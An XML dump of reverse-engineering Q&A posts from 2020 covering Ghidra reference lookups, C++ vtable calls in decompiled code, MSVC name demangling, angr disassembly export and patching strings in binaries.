  <row Id="24657" PostTypeId="2" ParentId="24650" CreationDate="2020-04-08T16:33:39.157" Score="1" Body="&lt;p&gt;getReferencesTo takes an address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;toAddr() converts a string to Address you can combine both &lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; getReferencesTo(toAddr(&quot;ZwCreateKey&quot;))&#xA;&#xA;array(ghidra.program.model.symbol.Reference, &#xA;[&#xA;From: 14095680c To: 1401b33c0 Type: DATA Op: 0 IMPORTED, &#xA;From: 140a22fbd To: 1401b33c0 Type: DATA Op: 0 DEFAULT, &#xA;From: Entry Point To: 1401b33c0 Type: EXTERNAL Op: -1 DEFAULT, &#xA;From: 140628dc5 To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, &#xA;From: 1407478dd To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, &#xA;From: 1406bdfcd To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, &#xA;From: 1408db10c To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, &#xA;From: 1406f5dec To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, &#xA;From: 1407c7190 To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, &#xA;From: 1407d01da To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, &#xA;From: 1405a8745 To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT, &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the function limits its display to max 4096 refs if  there are  more&#xA;use the recommended ReferenceManager&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; refs = currentProgram.referenceManager.getReferencesTo(toAddr(&quot;ZwCreateKey&quot;))&#xA;&amp;gt;&amp;gt;&amp;gt; for i in refs:&#xA;...     print i&#xA;... &#xA;From: 14095680c To: 1401b33c0 Type: DATA Op: 0 IMPORTED&#xA;From: 140a22fbd To: 1401b33c0 Type: DATA Op: 0 DEFAULT&#xA;From: Entry Point To: 1401b33c0 Type: EXTERNAL Op: -1 DEFAULT&#xA;From: 140628dc5 To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT&#xA;From: 1407478dd To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT&#xA;From: 1406bdfcd To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT&#xA;From: 1408db10c To: 1401b33c0 Type: UNCONDITIONAL_CALL Op: 0 DEFAULT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-04-08T17:03:42.037" LastActivityDate="2020-04-08T17:03:42.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24658" PostTypeId="2" ParentId="24656" CreationDate="2020-04-08T17:19:36.007" Score="1" Body="&lt;p&gt;inc does not set carry flag (I mis commented earlier as overflow flag)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add eax, 1 will set the carry flag too&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2DIgE.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2DIgE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-04-08T17:19:36.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24659" PostTypeId="2" ParentId="24634" CreationDate="2020-04-08T20:16:34.273" Score="0" Body="&lt;p&gt;The issue turned out that the directories I was working in were mounted as a share in a VirtualBox guest. By default symbolic linking is not enabled on a shared folder as the host OS might not be able to understand a symbolic link. More information can be found here in the second comment: &lt;a href=&quot;https://www.virtualbox.org/ticket/18572?cversion=0&amp;amp;cnum_hist=2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.virtualbox.org/ticket/18572?cversion=0&amp;amp;cnum_hist=2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem was solved once enabling symbolic linking for my shared drive and then creating a symbolic link from squashfs-root/lib/ld-uClibc-0.9.29.so to squashfs-root/lib/ld-uClic.so.0&lt;/p&gt;&#xA;" OwnerUserId="32685" LastActivityDate="2020-04-08T20:16:34.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24660" PostTypeId="2" ParentId="24651" CreationDate="2020-04-09T03:35:17.850" Score="1" Body="&lt;p&gt;One approach is to make changes to the player in the game, and export the data again. Compare what has changed in the .plr to what was changed in game. Repeat until you've figured most everything out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are likely some automated tools out there to help with this, or it could be scripted. I know there are some mobile apps for rooted devices that help see what's changed in memory when values in the game change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you may be dealing with non-printable characters, you'll want to use a hex editor to view the file. Depending on the hex editor, you may be able to view a proper diff between files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be tedious, but look for common data types. For example, let's say there's a game that stores how much money you currently have. You would dump the configuration before and after making a big purchase. I would then look for perhaps a 4 or 8 byte value (int) that has changed. Or maybe it's a 32-bit float. Definitely have your favorite number conversion tool available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there's some trial and error involved, the right assumptions can help get you there.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastEditorUserId="24222" LastEditDate="2020-04-09T14:36:29.197" LastActivityDate="2020-04-09T14:36:29.197" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24661" PostTypeId="1" AcceptedAnswerId="24675" CreationDate="2020-04-09T13:19:36.713" Score="1" ViewCount="1124" Body="&lt;p&gt;&lt;code&gt;__dest = (byte *)(**(code **)(*plVar5 + 0x10))(plVar5,(ulonglong)(numBytes + 1));&#xA;memcpy(__dest,param_2,numBytes + 1);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone  please  explain what the first line does step by step? I get that it's preparring a byte array for the memcpy function but I'm confused by the rest, especially that &quot;code&quot; type. Is that an opcode or something ?&lt;/p&gt;&#xA;" OwnerUserId="32713" LastActivityDate="2020-04-10T14:25:40.937" Title="What does this decompiled line mean?" Tags="|c++|arm|ghidra|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24662" PostTypeId="2" ParentId="24661" CreationDate="2020-04-09T14:47:15.347" Score="0" Body="&lt;p&gt;I'm fairly certain that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(**(code **)(*plVar5 + 0x10))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is a function pointer. So, the line looks more like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__dest = (byte*) somefunction(plVar5,(ulonglong)(numBytes + 1));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The decompilation can sometimes get a bit hairy with all these casts and pointer arithmetic. If there is a lot of code using &lt;code&gt;plVar5&lt;/code&gt; plus some offset, you could likely, using context clues, define a custom datatype that makes it easier to read.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2020-04-09T14:47:15.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24663" PostTypeId="1" AcceptedAnswerId="24673" CreationDate="2020-04-09T17:34:55.123" Score="2" ViewCount="363" Body="&lt;p&gt;I've discovered undname.exe today and tried it on several functions. I got some incorrect results and I'm wondering why. I see two main reasons that could do that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The mangling can change between msvc versions and I should find the version of undname.exe that fit my target&lt;/li&gt;&#xA;&lt;li&gt;The tool I use to extract the function names gives inaccurate results&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's an example of a wrong result: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Undecoration of :- &quot;?GetClassNameW@User@@QAE?AVFName@@H@Z&quot;&#xA;is :- &quot;public: class FName __thiscall User::GetClassNameW(int)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After trying this signature and receiving a stack error, I looked at the disassembled code of &lt;code&gt;GetClassNameW&lt;/code&gt; and realised the function signature actually was &lt;code&gt;void(__thiscall* user_getClassNameW)(User*, FName*, int);&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know the exact version of msvc used to compile the example and it seems that the only way to download undname.exe is to install visual studio, so I can't easily test this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea where the problem could come from?&lt;/p&gt;&#xA;" OwnerUserId="19817" LastActivityDate="2020-04-11T08:01:33.253" Title="undname.exe: invalid undecorated names" Tags="|c++|msvc|name-mangling|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24664" PostTypeId="1" AcceptedAnswerId="24666" CreationDate="2020-04-09T17:55:32.350" Score="3" ViewCount="2128" Body="&lt;p&gt;I would like to know how to export angr's disassembly in say txt file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the angr documentation - &lt;a href=&quot;https://angr.io/api-doc/angr.html#module-angr.analyses&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://angr.io/api-doc/angr.html#module-angr.analyses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that there are some endpoints like - Disassembly, cfgfast under proj.analyses. I want to get objdump like disassembled input. &lt;a href=&quot;https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_andriesse.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; paper says that they used cfgfast for their analysis. So, I checked that class, but couldn't find particular methods to print the assembly. For e.g. in radare2, I can do -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2.cmd('aaa')&#xA;r2.cmd(f'pd $s &amp;gt; {filename+&quot;_radare.txt&quot;}')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get the disassembly after analysis.&lt;/p&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2020-04-10T05:58:52.660" Title="How to export disassembly using angr" Tags="|angr|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24665" PostTypeId="2" ParentId="24663" CreationDate="2020-04-09T20:14:09.723" Score="1" Body="&lt;p&gt;there are lot of external utilities that can demangle a decorated name&lt;br&gt;&#xA;try looking for &lt;strong&gt;&lt;a href=&quot;http://ishiboo.com/~danny/Projects/vc++filt/&quot; rel=&quot;nofollow noreferrer&quot;&gt;vc++filt&lt;/a&gt;&lt;/strong&gt; /&lt;br&gt;&#xA;or some online demangler  like &lt;strong&gt;&lt;a href=&quot;https://demangler.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can probably code one using dbghelp api UndecorateSymbolName() in python with ctype / pywin32&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also undname isn't erring your second guess must be right &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just prototyped a similar function and looked at its demangled name&lt;br&gt;&#xA;it is entirely different from your demangle name here is a src code and output  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;dbghelp.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;void uselessname(HWND hwnd,LPWSTR lpcname,int mcnt)&#xA;{&#xA;    printf(&quot;%p %ws %d\n&quot;,hwnd,lpcname,mcnt);&#xA;    printf(&quot;%s\n%s\n%s\n&quot;,__FUNCTION__,__FUNCDNAME__,__FUNCSIG__);   &#xA;&#xA;}&#xA;int main (void) &#xA;{&#xA;    HWND cwnd =NULL;&#xA;    wchar_t cname[50] = {L&quot;MANGLE AND DEMANGLE&quot;};&#xA;    int cnt = 50;&#xA;    uselessname(cwnd,cname,cnt);&#xA;    char ret[0x100] = {0};&#xA;    UnDecorateSymbolName(&quot;?GetClassNameW@User@@QAE?AVFName@@H@Z&quot;,ret,0x100,0);&#xA;    printf(&quot;%s\n&quot;,ret);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcw.exe&#xA;0000000000000000 MANGLE AND DEMANGLE 50&#xA;uselessname&#xA;?uselessname@@YAXPEAUHWND__@@PEA_WH@Z   &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; must be like this&#xA;void __cdecl uselessname(struct HWND__ *,wchar_t *,int)&#xA;public: class FName __thiscall User::GetClassNameW(int) &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; result of yours &#xA;which is ?GetClassNameW@User@@QAE?AVFName@@H@Z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-04-09T20:14:09.723" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24666" PostTypeId="2" ParentId="24664" CreationDate="2020-04-09T22:23:12.883" Score="6" Body="&lt;p&gt;In angr, there are multiple ways to print out what you want. You can reference functions or basic blocks. All you need to print out disassembly is an address:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;p = angr.Project(&quot;/bin/true&quot;,auto_load_libs=False)&#xA;block = p.factory.block(p.entry)&#xA;block.pp()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, I load the &lt;code&gt;true&lt;/code&gt; binary, excluding its dynamic libraries, and I ask it for the disassembly at the entry address of the binary. The &lt;code&gt;pp&lt;/code&gt; function stands for pretty print, and it will allow you to print assembly in a pretty format. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now getting every disassembled address in a linear format, like objdump, is much more hacky in angr. It would be much more advisable to use &lt;a href=&quot;https://github.com/angr/angr-management&quot; rel=&quot;nofollow noreferrer&quot;&gt;angr-management&lt;/a&gt; and copy the linear disassembly from the GUI, but for the sake of this question, here is a hacky script to get every basic blocks disassembly:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;p = angr.Project(&quot;/bin/true&quot;,auto_load_libs=False)&#xA;cfg = p.analyses.CFGFast()&#xA;cfg.normalize()&#xA;for func_node in cfg.functions.values():&#xA;    if func_node.name.startswith(&quot;__&quot;):&#xA;        continue&#xA;    else:&#xA;        for block in func_node.blocks:             &#xA;            block.pp() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is important to note that the disassembly may not be in order, though it will specify it's address -- this is because we disassemble in the order angr discovers functions. &lt;/p&gt;&#xA;" OwnerUserId="32719" LastEditorUserId="32719" LastEditDate="2020-04-10T05:58:52.660" LastActivityDate="2020-04-10T05:58:52.660" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24668" PostTypeId="1" CreationDate="2020-04-10T02:37:02.487" Score="-1" ViewCount="2184" Body="&lt;p&gt;I am trying to extract the original file name of some functions through Ghidra. In particular I have enabled the debug symbols so that it does contains the function names in the disassembly listing and want to get the actual file names (header file or source file) of function. For example let's say we have a function named &lt;code&gt;HAL_UART_Transmit&lt;/code&gt;. I want to identify the exact file name or the location (path) that this function belongs in the source. Can I do this from the Ghidra IDE itself, or I there a way to get this from a script? Any help would be appreciated. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="31454" LastEditorUserId="24222" LastEditDate="2020-04-17T22:44:37.217" LastActivityDate="2021-03-30T15:10:07.723" Title="Getting the function's original file name within Ghidra" Tags="|binary-analysis|ghidra|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24669" PostTypeId="1" CreationDate="2020-04-10T08:22:54.750" Score="0" ViewCount="174" Body="&lt;p&gt;Here's the target application: &lt;a href=&quot;https://www.sa-mp.com/download.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sa-mp.com/download.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While live debugging, the Windows application is starting a few threads, and Cutter auto breaks after entrypoint for a reason I'm not sure of. The samp server application only throws that it cannot load server.cfg. Is it due to threads, or is it anti-re tactics?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All auto settings.&#xA;Cutter v1.10.3x64&#xA;Windows 10 Home&lt;/p&gt;&#xA;" OwnerUserId="3913" LastEditorUserId="24222" LastEditDate="2020-04-11T15:05:45.870" LastActivityDate="2020-04-11T15:05:45.870" Title="Anti-re tactics or radare problem while debugging" Tags="|debugging|radare2|anti-debugging|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24670" PostTypeId="1" CreationDate="2020-04-10T09:05:37.617" Score="0" ViewCount="50" Body="&lt;p&gt;I'm using Ida Freeware. The string should not be changed in &lt;code&gt;.data&lt;/code&gt; section. Basically I need to append a few letters to a string mid function. Currently it looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BgjLi.png&quot; alt=&quot;Instructions&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I would like to test my theory. How can I change the string in memory for just this function call?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later on:&#xA;I generated a simple asm from this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdbool.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;char string[] = &quot;filterscripts/%s&quot;;&#xA;&#xA;void fun(char filename[])&#xA;{&#xA;  char result[128];&#xA;  strncpy(result, string, sizeof result);&#xA;  strncat(result, &quot;.amx&quot;, sizeof result);&#xA;}&#xA;&#xA;int main() {&#xA;  fun(&quot;Shorter&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;i686-w64-mingw32-gcc -S -Wall main.c&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resulting in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    .file   &quot;main.c&quot;&#xA;    .globl  _string&#xA;    .data&#xA;    .align 4&#xA;_string:&#xA;    .ascii &quot;filterscripts/%s\0&quot;&#xA;    .text&#xA;    .globl  _fun&#xA;    .def    _fun;   .scl    2;  .type   32; .endef&#xA;_fun:&#xA;    pushl   %ebp&#xA;    movl    %esp, %ebp&#xA;    pushl   %edi&#xA;    subl    $148, %esp&#xA;    movl    $128, 8(%esp)&#xA;    movl    $_string, 4(%esp)&#xA;    leal    -136(%ebp), %eax&#xA;    movl    %eax, (%esp)&#xA;    call    _strncpy&#xA;    leal    -136(%ebp), %eax&#xA;    movl    $-1, %ecx&#xA;    movl    %eax, %edx&#xA;    movl    $0, %eax&#xA;    movl    %edx, %edi&#xA;    repnz scasb&#xA;    movl    %ecx, %eax&#xA;    notl    %eax&#xA;    leal    -1(%eax), %edx&#xA;    leal    -136(%ebp), %eax&#xA;    addl    %edx, %eax&#xA;    movl    $2020434222, (%eax)&#xA;    movb    $0, 4(%eax)&#xA;    nop&#xA;    addl    $148, %esp&#xA;    popl    %edi&#xA;    popl    %ebp&#xA;    ret&#xA;    .def    ___main;    .scl    2;  .type   32; .endef&#xA;    .section .rdata,&quot;dr&quot;&#xA;LC0:&#xA;    .ascii &quot;Shorter\0&quot;&#xA;    .text&#xA;    .globl  _main&#xA;    .def    _main;  .scl    2;  .type   32; .endef&#xA;_main:&#xA;    pushl   %ebp&#xA;    movl    %esp, %ebp&#xA;    andl    $-16, %esp&#xA;    subl    $16, %esp&#xA;    call    ___main&#xA;    movl    $LC0, (%esp)&#xA;    call    _fun&#xA;    movl    $0, %eax&#xA;    leave&#xA;    ret&#xA;    .ident  &quot;GCC: (GNU) 5.3.1 20160211&quot;&#xA;    .def    _strncpy;   .scl    2;  .type   32; .endef&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could identify either strncpy or snprintf function calls, put the &quot;.amx&quot; in the &lt;code&gt;.data&lt;/code&gt; section somewhere, and use a trampoline to put parts of the above code to do it, but are there more streamlined and acknowledged ways to do it?&lt;/p&gt;&#xA;" OwnerUserId="3913" LastEditorUserId="3913" LastEditDate="2020-04-10T12:07:44.733" LastActivityDate="2020-04-10T12:44:43.917" Title="Appending strings mid function" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24673" PostTypeId="2" ParentId="24663" CreationDate="2020-04-10T10:49:59.200" Score="2" Body="&lt;p&gt;As @blabb says undname is correct so it's your other tool that is 'incorrect'.&#xA;However, it's worth looking at this in more detail as it's probably not as incorrect as you think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand this though you have to delve a little into ABIs and think how a C++ function call works in practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, a C++ member function is in some sense like a C function with a 'hidden' &lt;code&gt;this&lt;/code&gt; pointer passed as the first parameter.  (This is what &lt;code&gt;__thiscall&lt;/code&gt; is saying behind the scenes.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// this function&#xA;void class::member();&#xA;// is really&#xA;void __thiscall class::member();&#xA;&#xA;// and works like&#xA;void __stdcall class_member( Class* this );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Secondly, the caller of function returning a ('complicated') struct/class is responsible for allocating the memory for the struct/class and passing the function a pointer to this memory.  The function can then write the relevant details there.  Hence -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// this function&#xA;complex_struct_return_type function();  &#xA;&#xA;// works like&#xA;void function( complex_struct_return_type * );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Putting these together (and ignoring accessiility specifiers)-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// this function&#xA;FName __thiscall User::GetClassNameW( int param );&#xA;&#xA;// works like&#xA;void __stdcall User_GetClassNameW( User* this, FName* pointer_to_return_value, int param );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will see this is very similar is essence to your other tool's output.&#xA;I'd just observe that -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it is still labelling the function as &lt;code&gt;__thiscall&lt;/code&gt;.  This doesn't quite make sense but is probably being done to indicate that the first parameter has special treatment in 32-bit code.&lt;/li&gt;&#xA;&lt;li&gt;it is changing the case of the initial letters.  This again is strictly incorrect.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;How these parameters get passed (by msvc) depends on whether it's compiled for 32 or 64-bit .&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For 32-bit code, &lt;code&gt;this&lt;/code&gt; has special treatment and is passed in &lt;code&gt;ecx&lt;/code&gt; with the rest of the parameters on the stack.&lt;/li&gt;&#xA;&lt;li&gt;For 64-bit code, &lt;code&gt;this&lt;/code&gt; is treated as like the other parameters and hence, being the first of up to 4 parameters being passed in registers will be in &lt;code&gt;rcx&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2020-04-11T08:01:33.253" LastActivityDate="2020-04-11T08:01:33.253" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24674" PostTypeId="2" ParentId="24670" CreationDate="2020-04-10T12:44:43.917" Score="1" Body="&lt;p&gt;Not sure I understood the problem correctly but one option could be to inject the final, changed string somewhere in memory and patch the &lt;code&gt;push&lt;/code&gt; instruction to use the new address.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-10T12:44:43.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24675" PostTypeId="2" ParentId="24661" CreationDate="2020-04-10T14:25:40.937" Score="4" Body="&lt;p&gt;&lt;code&gt;code&lt;/code&gt; does mean that something is interpreted as code to execute (most likely a function)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But more can be recovered from this snippet than just that something is executed:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 1: &lt;code&gt;(**(code **)(*plVar5 + 0x10))&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is most likely a C++ vtable call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;plVar5&lt;/code&gt; should be some variable containing a C++ object, or rather a pointer that should be interpreted as a C++ object. At offset 0 (which is just written &lt;code&gt;*plVar5&lt;/code&gt;) is the pointer to the vtable of the object. The element at offset 0x10 in the vtable is some function. If this is the 3rd (vtable[2]) or the 5th (vtable[4]) depends on the pointer size, but let's pretend this is 64bit for this explanation ). This means that this is the 3rd entry, which is typically the first true vtable function after the constructor and destructor at vtable[0] and vtable[1]. Lets call this function &lt;code&gt;prepare_buffer&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the more understandable translation would be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;plVar5-&amp;gt;vtable-&amp;gt;prepare_buffer&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 2: &lt;code&gt;(byte *)plVar5-&amp;gt;vtable-&amp;gt;prepare_buffer(plVar5,(ulonglong)(numBytes + 1))&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After substituting our previous result into &lt;code&gt;(byte *)(**(code **)(*plVar5 + 0x10))(plVar5,(ulonglong)(numBytes + 1))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this is C++ function of an object the first parameter is the &lt;code&gt;self&lt;/code&gt; parameter, which has to be present for non static functions. So the only true argument is &lt;code&gt;(ulonglong)(numBytes + 1)&lt;/code&gt;. The result is assigned to a variable of type  &lt;code&gt;byte *&lt;/code&gt; and casted as such.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 3: &lt;code&gt;memcpy(__dest,param_2,numBytes + 1);&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is indeed just a memcopy to the buffer returned by the previous function. Because the only real argument of that previous function call was the number of bytes copied I am assuming it was setting up this buffer (and called it &lt;code&gt;prepare_buffer&lt;/code&gt;). If you can find out the class of the variable &lt;code&gt;plVar5&lt;/code&gt; you can find the vtable for this class, and then find the actual function that is called here to confirm this.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Further Reading&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want to learn more about this I suggest &lt;a href=&quot;https://alschwalm.com/blog/static/2016/12/17/reversing-c-virtual-functions/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://alschwalm.com/blog/static/2016/12/17/reversing-c-virtual-functions/&lt;/a&gt; (which I skimmed to explain this) and looking at the Ghidra Advanced Course at &lt;a href=&quot;https://ghidra.re/online-courses/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ghidra.re/online-courses/&lt;/a&gt; that includes a Chapter on &quot;Virtual Function Tables&quot; which covers the Ghidra specifics of getting proper decompiler output for such cases.&lt;/p&gt;&#xA;" OwnerUserId="31435" LastActivityDate="2020-04-10T14:25:40.937" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24676" PostTypeId="2" ParentId="24608" CreationDate="2020-04-10T15:28:39.083" Score="1" Body="&lt;p&gt;This is the symbol that marks the start/beginning of section named &lt;code&gt;.text_mn&lt;/code&gt;. The char for underscore could be different char in the binary, I sometimes see that for '$'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be that the address is the same as a function might have and for some reason the function did not get analyzed correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most cases you should just get two labels, one for function name and one for section, pointing to the same address.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-04-10T15:28:39.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
